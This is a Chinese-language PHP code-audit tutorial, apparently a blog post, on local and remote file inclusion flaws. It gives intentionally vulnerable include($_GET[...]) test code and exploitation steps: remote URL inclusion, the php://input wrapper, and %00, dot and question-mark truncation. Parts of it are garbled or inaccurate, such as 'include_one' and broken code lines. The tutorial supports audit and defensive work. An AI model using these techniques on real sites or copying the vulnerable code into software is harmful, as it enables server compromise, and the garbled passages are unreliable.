PHP-代码审计-文件包含

文件包含

文件包含函数

  • include() include_one() require() require_once()
  • 他们之间的区别在于:
    include()和include_one
    在包含文件时即使遇到错误,下面的代码依然会继续执行;而require()和require_one() 则会直接报错退出程序

挖洞经验

文件包含大多出现在模块加载,模块加载以及cache调用的地方,比如传入的模块名参数,实际上是直接吧这个拼接到了包含文件的路径,比如像espcms的代码:

$archive = indexget('archive','R')
$archive = empty($archive) ? 'adminuser' : $archive;
$action = indexget('action','R');
$action = empty($action) ? 'login' : $action;
include = admin_ROOT . adminfile . "/control/$archive.php"

  • 传入的archive参数就是被包含的文件名,所以我们挖掘漏洞的时候,可以跟踪一下程序的流程看看模块是否加载时包含的文件可控
  • 另外就是直接搜索
    include(),include_one() require() require_onece() 这4个函数来回溯看看

本地文件包含

LFI
条件
1.allow_url_fopen=On
2.用户可以动态控制变量

  • 指只能包含本机文件的文件包含漏洞
  • 测试代码1.php

//初始化....
define("ROOT",dirname(__FILE__).'/');
//加载模块
$mod = $_GET['mod'];
echo ROOT.$mod.'.php';
include(ROOT.$mod.'.php');
  • 测试代码2.php
 phpinfo();?>
  • 请求/1.php?mod=2执行结果
  • 将会输出phpinfo页面

远程文件包含

RFI
条件
1.allow_url_include=On
2.用户可以动态控制变量

  • 指用户可以包含远程文件的包含漏洞
  • 很少能挖到

基于http测试代码
1.php

#直接包含用户传来的参数
include($_GET['url']);
  • 利用则在GET请求url参数中传入http://远程主机地址/2.txt
  • 其中远程机器上2.txt是一个内容为: ,访问后返回phpinfo信息
  • 还有一种利用手段,只要执行1.php?url=php://input ,post内容填
  • 便会打印phpinfo信息

文件包含截断

  • 大多数文件包含都是需要截断的,因为正常程序里面包含的文件代码一般像include(BASEPATH. m o d . ′ . p h p ′ ) 或 i n c l u d e ( mod.'.php')或include( mod..php)include(mod.’.php’)这样的方式,如果我们不能写入以.php为扩展名的文件,拿我们就需要截断来利用

3种姿势

  • %00截断http//xx/1.php?url=1.txt%00, php5.3以后不支持该方法
  • 多个英文句号反斜杠截断: php5.3以后也被修复
  • ? 截断:http//xx/1.php?url=1.txt?

你可能感兴趣的:(php代码审计)